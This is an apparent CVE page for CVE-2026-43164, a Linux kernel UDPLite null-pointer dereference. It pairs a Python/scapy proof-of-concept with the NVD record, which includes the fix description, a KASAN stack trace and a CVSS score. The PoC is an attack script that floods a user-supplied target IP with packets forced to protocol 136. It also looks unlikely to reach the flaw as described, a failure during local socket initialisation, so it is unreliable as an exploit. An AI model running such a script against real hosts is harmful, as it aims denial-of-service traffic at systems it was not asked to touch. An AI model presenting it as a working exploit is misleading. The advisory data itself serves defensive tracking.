CVE-2026-43164

#!/usr/bin/env python3 # PoC for CVE-2026-43164: Linux Kernel UDPLite Null Pointer Dereference # Note: This is a conceptual PoC. Triggering kernel bugs requires specific target conditions. from scapy.all import * import sys def send_udplite_packet(target_ip): # Construct a UDPLite packet # UDPLite uses IP protocol 136 ip = IP(dst=target_ip) # Create a UDPLite header. Scapy might not support UDPLite natively in all versions, # so we use Raw payload with the protocol number. # Standard UDP header structure is used for parsing, but protocol is 136. udp_lite = UDP(sport=12345, dport=12345) payload = b"A" * 32 packet = ip / udp_lite / payload # Force IP protocol to UDPLite (136) packet[IP].proto = 136 print(f"[*] Sending UDPLite packet to {target_ip}...") send(packet, loop=1, count=10) print("[+] Packets sent.") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_udplite_packet(sys.argv[1])

{"cve": {"id": "CVE-2026-43164", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:34.540", "lastModified": "2026-05-13T21:19:27.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nudplite: Fix null-ptr-deref in __udp_enqueue_schedule_skb().\n\nsyzbot reported null-ptr-deref of udp_sk(sk)->udp_prod_queue. [0]\n\nSince the cited commit, udp_lib_init_sock() can fail, as can\nudp_init_sock() and udpv6_init_sock().\n\nLet's handle the error in udplite_sk_init() and udplitev6_sk_init().\n\n[0]:\nBUG: KASAN: null-ptr-deref in instrument_atomic_read include/linux/instrumented.h:82 [inline]\nBUG: KASAN: null-ptr-deref in atomic_read include/linux/atomic/atomic-instrumented.h:32 [inline]\nBUG: KASAN: null-ptr-deref in __udp_enqueue_schedule_skb+0x151/0x1480 net/ipv4/udp.c:1719\nRead of size 4 at addr 0000000000000008 by task syz.2.18/2944\n\nCPU: 1 UID: 0 PID: 2944 Comm: syz.2.18 Not tainted syzkaller #0 PREEMPTLAZY\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nCall Trace:\n <IRQ>\n dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120\n kasan_report+0xa2/0xe0 mm/kasan/report.c:595\n check_region_inline mm/kasan/generic.c:-1 [inline]\n kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200\n instrument_atomic_read include/linux/instrumented.h:82 [inline]\n atomic_read include/linux/atomic/atomic-instrumented.h:32 [inline]\n __udp_enqueue_schedule_skb+0x151/0x1480 net/ipv4/udp.c:1719\n __udpv6_queue_rcv_skb net/ipv6/udp.c:795 [inline]\n udpv6_queue_rcv_one_skb+0xa2e/0x1ad0 net/ipv6/udp.c:906\n udp6_unicast_rcv_skb+0x227/0x380 net/ipv6/udp.c:1064\n ip6_protocol_deliver_rcu+0xe17/0x1540 net/ipv6/ip6_input.c:438\n ip6_input_finish+0x191/0x350 net/ipv6/ip6_input.c:489\n NF_HOOK+0x354/0x3f0 include/linux/netfilter.h:318\n ip6_input+0x16c/0x2b0 net/ipv6/ip6_input.c:500\n NF_HOOK+0x354/0x3f0 include/linux/netfilter.h:318\n __netif_receive_skb_one_core net/core/dev.c:6149 [inline]\n __netif_receive_skb+0xd3/0x370 net/core/dev.c:6262\n process_backlog+0x4d6/0x1160 net/core/dev.c:6614\n __napi_poll+0xae/0x320 net/core/dev.c:7678\n napi_poll net/core/dev.c:7741 [inline]\n net_rx_action+0x60d/0xdc0 net/core/dev.c:7893\n handle_softirqs+0x209/0x8d0 kernel/softirq.c:622\n do_softirq+0x52/0x90 kernel/softirq.c:523\n </IRQ>\n <TASK>\n __local_bh_enable_ip+0xe7/0x120 kernel/softirq.c:450\n local_bh_enable include/linux/bottom_half.h:33 [inline]\n rcu_read_unlock_bh include/linux/rcupdate.h:924 [inline]\n __dev_queue_xmit+0x109c/0x2dc0 net/core/dev.c:4856\n __ip6_finish_output net/ipv6/ip6_output.c:-1 [inline]\n ip6_finish_output+0x158/0x4e0 net/ipv6/ip6_output.c:219\n NF_HOOK_COND include/linux/netfilter.h:307 [inline]\n ip6_output+0x342/0x580 net/ipv6/ip6_output.c:246\n ip6_send_skb+0x1d7/0x3c0 net/ipv6/ip6_output.c:1984\n udp_v6_send_skb+0x9a5/0x1770 net/ipv6/udp.c:1442\n udp_v6_push_pending_frames+0xa2/0x140 net/ipv6/udp.c:1469\n udpv6_sendmsg+0xfe0/0x2830 net/ipv6/udp.c:1759\n sock_sendmsg_nosec net/socket.c:727 [inline]\n __sock_sendmsg+0xe5/0x270 net/socket.c:742\n __sys_sendto+0x3eb/0x580 net/socket.c:2206\n __do_sys_sendto net/socket.c:2213 [inline]\n __se_sys_sendto net/socket.c:2209 [inline]\n __x64_sys_sendto+0xde/0x100 net/socket.c:2209\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xd2/0xf20 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7f67b4d9c629\nCode: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f67b5c98028 EFLAGS: 00000246 ORIG_RAX: 000000000000002c\nRAX: ffffffffffffffda RBX: 00007f67b5015fa0 RCX: 00007f67b4d9c629\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003\nRBP: 00007f67b4e32b39 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000040000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007f67b5016038 R14: 00007f67b5015fa0 R15: 00007ffe3cb66dd8\n </TASK>"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "vers ... 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